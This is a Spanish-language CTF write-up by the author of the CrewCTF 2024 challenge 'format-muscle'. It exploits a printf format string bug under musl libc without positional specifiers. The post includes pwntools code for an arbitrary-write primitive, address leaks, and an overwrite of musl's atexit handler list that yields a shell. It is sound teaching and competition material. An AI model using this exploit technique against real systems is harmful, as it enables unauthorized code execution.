Format muscle
3 minutos de lectura
Este es un reto que diseñé para CrewCTF 2024 como miembro de thehackerscrew. Se nos proporciona un binario llamado format-muscle
:
$ checksec format-muscle
[*] './format-muscle'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Ingeniería inversa
El paso de ingeniería inversa es bastante simple. Este es el código original en C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char data[256];
setbuf(stdout, NULL);
do {
fgets(data, sizeof(data), stdin);
printf(data);
} while (strncmp(data, "quit", 4));
exit(0);
}
Vulnerabilidad Format String
Como se puede ver, tenemos un bucle do
-while
que nos permite ingresar datos en un buffer que se imprimirán después con printf
, como primer argumento. Entonces, tenemos una vulnerabilidad clara de Format String:
$ nc format-muscle.chal.crewc.tf 1337
== proof-of-work: disabled ==
%d
-1562537493
%lx
7f3da2dd91ec
%p
0x7f3da2dd91eb
Sin embargo, es un poco más difícil de explotar porque estamos tratando con musl libc, que no implementa especificadores de formato posicional como %7$p
, por lo tanto, debemos lidiar con esto y crear un payload sin símbolos de dólar para lograr ejecución del código arbitrario.
Desarrollo del exploit
Aunque pwntools
permite un parámetro no_dollars
en fmtstr_payload
, implementé las siguientes funciones auxiliares para la primitiva de escritura arbitraria:
def write_byte(byte: int, addr: int):
assert 0 <= byte < 2 ** 8
io.sendline(b'%c%c%c%c' + f'.%{byte + 248}c%c'.encode() + b'%c%c%hhn' + p64(addr))
io.recv()
def write_qword(qword: int, addr: int):
assert 0 <= qword < 2 ** 64
for i in range(8):
write_byte((qword >> (8 * i)) & 0xff, addr + i)
Fugando direcciones de memoria
Entonces, en primer lugar, podemos obtener fugas de memoria para musl libc y el binario:
def main():
io.sendline(b'%p')
musl_libc.address = int(io.recv().decode(), 16) - 0xae1eb
io.success(f'musl libc base address: {hex(musl_libc.address)}')
elf_address_str = musl_libc.address + 0xaf561
io.sendline(b'%p%p%p%p' + b'%p%p%p%s' + p64(elf_address_str))
io.recvuntil(hex(u64(b'%p%p%p%s')).encode())
elf.address = u64(b'\0' + io.recv(5) + b'\0' * 2)
io.success(f'ELF base address: {hex(elf.address)}')
io.recv()
Obteniendo RCE
Aunque hay maneras como modificar la dirección de retorno de funciones de dentro de printf
, esta vez elegí modificar la lista de funciones de salida. El código fuente relevante se puede encontrar aquí.
Para esto, utilicé una dirección escribible dentro del binario para almacenar una estructura falsa struct fl
:
/* Ensure that at least 32 atexit handlers can be registered without malloc */
#define COUNT 32
static struct fl
{
struct fl *next;
void (*f[COUNT])(void *);
void *a[COUNT];
} builtin, *head;
Dado que la lista de funciones de salida se inicia desde el final, debemos poner la función system
y la dirección "/bin/sh"
como argumento al final de las listas f
y a
:
struct_fl_addr = musl_libc.address + 0xafc48
fake_struct_fl_addr = elf.address + 0x4200
write_qword(fake_struct_fl_addr, struct_fl_addr)
write_qword(fake_struct_fl_addr, fake_struct_fl_addr)
write_qword(musl_libc.sym.system, fake_struct_fl_addr + 0x100)
write_qword(next(musl_libc.search(b'/bin/sh\0')), fake_struct_fl_addr + 0x200)
Flag
Luego, simplemente salimos del programa con quit
y tendremos una shell:
$ python3 solve.py format-muscle.chal.crewc.tf 1337
[*] './format-muscle'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to format-muscle.chal.crewc.tf on port 1337: Done
[+] musl libc base address: 0x79942bf62000
[+] ELF base address: 0x5c1e33f52000
[*] Switching to interactive mode
$ cat /flag
crew{why_n0t_%1337$p_1n_musl???}
El exploit completa se puede encontrar aquí: solve.py.